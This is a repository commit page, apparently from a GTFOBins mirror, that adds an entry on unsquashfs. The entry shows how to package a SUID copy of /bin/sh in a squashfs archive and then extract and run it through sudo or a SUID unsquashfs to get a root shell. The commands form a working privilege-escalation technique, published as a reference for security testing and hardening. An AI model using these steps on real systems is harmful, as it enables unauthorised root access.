mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
21
_gtfobins/unsquashfs.md
Normal file
21
_gtfobins/unsquashfs.md
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
`unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
|
||||||
|
|
||||||
|
```
|
||||||
|
cp /bin/sh .
|
||||||
|
chmod +s sh
|
||||||
|
mksquashfs sh shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo unsquashfs shell
|
||||||
|
./squashfs-root/sh -p
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
./unsquashfs shell
|
||||||
|
./squashfs-root/sh -p
|
||||||
|
---
|
Reference in New Issue
Block a user